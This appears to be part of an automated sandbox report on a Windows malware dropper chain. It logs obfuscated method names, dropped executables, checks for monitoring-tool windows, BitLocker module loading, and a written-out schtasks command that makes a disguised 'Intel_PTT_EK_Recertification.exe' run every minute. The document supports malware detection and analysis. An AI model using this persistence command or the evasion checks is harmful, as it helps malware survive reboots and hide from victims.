Source: 7.2.79cd489a19.exe.511ce18.2.raw.unpack, kVdiZvv5P10CtuHo1D.cs	High entropy of concatenated method names: 'Dispose', 'iPotGt2L65', 'J8ngqOtylN', 'zH0DLI3w8a', 'yDrtJBfP4Q', 'Khhtz4QRe4', 'ProcessDialogKey', 'krOgwMspwX', 'Y7GgtGwaQ4', 'bEXggGYnGd'
Source: 7.2.79cd489a19.exe.511ce18.2.raw.unpack, p70yJbu5bF4vKhUO1a.cs	High entropy of concatenated method names: 'XR7LSXCnhI', 'k5LLApS7HO', 'D54LvXvPbY', 'CDZL82WCng', 'LaNLpus8uU', 'q5rLEyYh8n', 'TXULDqLrnl', 'RF5LukqDTl', 'iifLOaksHF', 'EbrL2A4nir'
Source: 7.2.79cd489a19.exe.511ce18.2.raw.unpack, IHOLEvy0T7QhOrsMmC.cs	High entropy of concatenated method names: 'U3nvfX1V1H', 'HmYviIvu6Q', 'AKRvjubO1u', 'F8evxEdJFk', 'JDJv11Bqvn', 'PmKvkNJ071', 'KlGv9VILIB', 'L67v5pysNH', 'vlRvGOFpyb', 'etWvJdsqte'

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe

Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	File created: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	File created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017615001\3b4e53035a.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\main\in.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process information set: NOOPENFILEERRORBOX
